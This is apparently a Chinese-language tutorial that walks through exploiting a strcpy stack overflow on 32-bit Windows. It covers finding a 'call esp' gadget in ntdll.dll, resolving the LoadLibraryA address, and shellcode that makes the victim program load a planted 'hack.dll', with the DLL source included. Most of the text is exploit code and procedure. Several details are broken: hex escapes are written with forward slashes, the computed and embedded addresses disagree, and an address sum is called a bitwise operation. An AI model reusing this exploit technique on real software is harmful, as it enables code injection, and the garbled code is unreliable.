程序A:
#include <stdio.h>
#include <string.h>
void foo(const char *input)
{
char buf[10];
strcpy(buf, input);
}
int main(int argc, char *argv[])
{
foo("1234567890123456123456123456");
return 0;
}
啟動VS 2005,然後將斷點設在函數foo中strcpy的後面,斷點執行到了以後,進入反匯編窗口,單步執行到該函數最後壹行匯編指令,也就是ret指令,在內存窗口中查看寄存器esp保存的內存地址所存放的值,當然妳的內存窗口的顯示方式應該是4字節顯示方式(x86或者說是32位機器上)。妳可以看到該值也已經被foo的參數12345678那些字符串覆蓋了,然後妳可以看看esp的值和ebp的值剛好相差8個字節。就是說,內存中的形式是這樣的:
ebp的值 esp的值
^ ^
| |
--------------------------------------
| |函數返回地址| |
---------------------------------------
而妳再看看foo函數最後幾個匯編指令:非常標準的函數退出時,所作的棧銷毀操作:
mov esp ebp
pop ebp
ret
在ret指令執行完成以後,esp的值就會是foo函數的ebp + 8。
如果我們在esp所指向的內存地址上存放我們的shell code(或者說是我們刻意編寫的匯編代碼),然後將函數返回地址更改為調用我們的shell code的地址,那麽我們所編寫的shell code也就會被執行,這時就可以幹任何我們想幹的事情了,;)。
下面是步驟:
1,編寫壹個dll,其實exe程序也可以,只不過方法略有不同,如果妳是直接執行exe程序的話,可以使用WinExec。這裏因為我要導入我編寫的dll進入程序A,所以使用的WINAPI函數是LoadLibrary,LoadLibrary需要壹個參數,指明要加載的dll的文件路徑。
2. 在我編寫的dll中,處理的事情很簡單,就是啟動壹個程序,呵呵,下面是源代碼:
#include
"stdafx.h"
#include <stdio.h>
#include <windows.h>
#ifdef _MANAGED
#pragma managed(push, off)
#endif
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si,
sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // 每次壹個新的進程加載該dll的時候,觸發這個條件
WinExec("C://WINDOWS//notepad.exe", SW_SHOW);
break;
default:
break;
}
return TRUE;
}
#ifdef
_MANAGED
#pragma managed(pop)
#endif
3.為了調用LoadLibrary,我們需要寫壹些匯編指令,因為cpu執行的是機器碼,而不是匯編指令,所以妳要將匯編指令轉換為機器碼。轉換很簡單,在妳的代碼裏面加上下面這幾行:
int main()
{
_asm {
jmp esp
}
}
將斷點設置在main函數的開始處,執行程序,程序中斷後,去反匯編,妳會看到類似下面的代碼:
00401763 FF E4 jmp esp
00401763是這段匯編碼在程序中的地址,FF E4就是jmp esp對應的機器碼了。呵呵,如果沒有FF E4出現的話,在反匯編窗口中右鍵單擊,選擇“Show Byte Code”(VS 2005英文版)。
現在腰調用esp中的地址,可以是jmp esp也可以是call esp,但是這個代碼必須是進程中已有的,OK,我們在程序中找到這個地址。再次運行程序A,在main函數中設置斷點,中斷後,選擇Debug -- Window -- Module查看這個程序所有加載的dll(無論是動態的還是靜態加載的)。程序A中不出意外的話應該有kernel32.dll和ntdll.dll,還有可能有msvcrt8.dll。
我們找壹下這些dll裏面有沒有對應的機器碼,怎麽找?怎麽把壹個dll反匯編?呵呵,VS 2005裏面自己就帶了壹個反匯編工具:dumpbin,路經在C:/Program Files/Microsoft Visual Studio 8/VC/bin。dumpbin有壹個選項/disasm就是將任何壹個PE文件(DLL或EXE)反匯編
打開cmd窗口,執行dumpbin /disasm c:/windows/system32/kernel32.dll | findstr /c:"FF E4",哦哦,沒有。再試ntdll.dll,還是沒有。試壹下call esp,它的機器嗎是FF E5。kernel32.dll裏面沒有,啊哈,ntdll.dll裏面有,這是搜索結果:
7C914393: FF E5 call esp
4.編寫shell code,調用LoadLibrary,需要知道LoadLibrary函數的地址,獲取的辦法是這樣的:LoadLibrary是在kernel32.dll中的,啟動Depends.exe,Depends.exe包含在Windows SDK中,妳也可以去網上搜壹下,下載壹個回來用,實在找不到,那我就犧牲壹下自己啦。
隨便用depends打開壹個exe文件,在左上角的依賴樹裏面點擊kernel32.dll,在右邊第二個窗口中找到LoadLibraryA這個函數,可以看到它的Entry Point是0x000445EF,如下:
E | Ordinal | Hint | Function | Entry Point
---------------------------------------------------------------------------------------------
754 (0x02F2) | 753 (0x02F1) | LoadLibraryA | 0x000445EF
操作系統不壹樣,值可能不壹樣,在最下面的窗口中找到kernel32.dll的base address(Preferred Base)是0x77E00000,如下:
Module | ... 中間很多省略 ... | Preferred Base
-------------------------------------------------------------------------
Kernel32.dll | .... | 0x77E000000
將Kernel32.dll的Preferred Base和LoadLibraryA的Entry Point按位於就獲得LoadLibraryA在妳的程序中的地址是:0x77E445EF。
5。最後編寫匯編代碼執行妳的黑客程序:
_asm {
mov eax 0x77E445EF // 將LoadLibraryA的地址存在eax寄存器中
call L4
L2: call eax // 調用LoadLibraryA,程序執行到這段指令時LoadLibraryA的參數已經壓棧
L3: jmp L3 // 循環,確保被黑的程序不會死掉
L4: call L2
}
6。最後,示例程序如下:
#include
<stdio.h>
#include <string.h>
void func(char *p)
{
char stack_temp[20];
strcpy(stack_temp, p);
printf(stack_temp);
}
void foo()
{
printf("This should not be called");
}
int main(int argc, char *argv[])
{
func("I AM MORE THAN TWENTLONG/x93/x43/x91/x7C"
"/xB8/x77/x1D/x80/x7C" // mov eax 0x771D807C LoadLibraryA的地址
"/xEB/x04" // call L4
"/xFF/xD0" // L2: call eax
"/xEB/xFE" // L3: jmp L3
"/xE8/xF7/xFF/xFF/xFF" // L4: call L2
"c://hack.dll/0"); // LoadLibraryA的參數,也就是我們要刻意加載的dll文件
return 0;
}
完了,累死了